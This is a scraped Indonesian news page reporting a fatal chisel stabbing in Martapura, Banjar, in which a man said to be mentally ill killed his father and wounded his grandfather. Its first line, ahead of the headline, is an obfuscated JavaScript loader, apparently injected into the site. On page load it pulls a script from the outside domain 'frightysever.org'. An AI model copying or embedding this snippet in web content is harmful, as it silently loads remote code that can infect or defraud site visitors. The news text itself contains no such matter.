(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ayah Tewas Setelah Ditusuk Pahat, Sang Kakek Berlumuran Darah


MARTAPURA, Entah apa yang ada dalam benak dan pikiran anak ini, ia tega tusuk ayah kandung sendiri hingga tewas, bahkan melukai kakeknya sendiri.

Anak itu adalah M Rifa’i (25) -diduga alami gangguan kejiwaan- menggegerkan seluruh warga yang sedang menunggu berbuka puasa, di Desa Melayu Tengah RT 03, Kecamatan Martapura Timur, Kabupaten Banjar, Kamis (31/5) sekitar pukul 18.45 Wita.

Bermula saat terjadi perkelahian antara Rifa’i dengan sang kakek yang bernama Abdul Zaki (65), dimana saat itu sang cucu berniat meminjam sepeda motor, namun tidak diizinkan.

Permintaannya ditolak, Rifa’i langsung mengambil pahat di dapur dan terjadi perebutan kunci sepeda motor antara kakek dan sang cucu.

Tak lama datang Hamdani (40) -ayah M Rifa’i, sang ayah langsung memukul tangan anaknya menggunakan kayu bermaksud agar pahat yang dipegang anaknya terlepas.

Eh, pelaku malah mengarahkan pahat ke sang ayah lalu menusukannya, tidak sampai disitu Rifa’i juga mengarahakan alat pahat tersebut dan menusukkan ke sang kakek.

Menerima luka tusuk tersebut, kedua korban tersungkur sedangkan Rifa’i kabur ke jalan gang samping rumah.

Tidak berlangsung lama, setelah terjadinya peristiwa pertengkaran berdarah itu, akhirnya Rifa’i dapat diamankan unit gabungan Resmob Polres Banjar, Sabhara Polres Banjar dan Polsek Martapura Timur.

Sementara ayah dan kakek korban sempat dilarikan ke Rumah Sakit Ratu Zaleha Martapura, naas Hamdani meninggal dunia. Sedangkan sang kakek Abdul Zaki mengalami luka berat dengan luka di bagian dada atas. Sejumlah kerabat dekat korban hanya bisa terpukul sembari membacakan do’a dihadapan jenazah.

Tersangka saat ini telah diamankan di Polsek Martapura Timur, pihak Kepolisan mengamankan barang bukti berupa 1 buah pahat berdarah dan pakaian korban.

Kapolres Banjar AKBP Takdir Mattanete melalui Kapolsek Martapura Timur Ipda Suradi mengungkapkan, terkait dugaan pelaku mengalami gangguan jiwa, pihaknya akan melakukan obersavisi selama 14 hari dengan mengirim pelaku ke RSJ Sambang Lihum.

“Pelaku akan kita kirim ke RS Sambang Lihum untuk dilakukan observasi selama 14 hari, jika terbukti mengalami gangguan jiwa maka proses hukum kasus ini akan dihentikan,” ungkapnya.

Selain itu dari informasi yang berhasil dihimpun Kanal Kalimantan, Rifai sempat dirawat di RSJ Sambang Lihum, namun tidak menjalani rawat inap dan hanya menjalani rawat jalan di Poli Jiwa RS Ratu Zalecha. Ada catatan medis Rifa’i yang belakangan diketahui juga sebagai pasien dengan gangguan jiwa di Puskesmas Martapura Timur. (rico)

Reporter:Rico
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.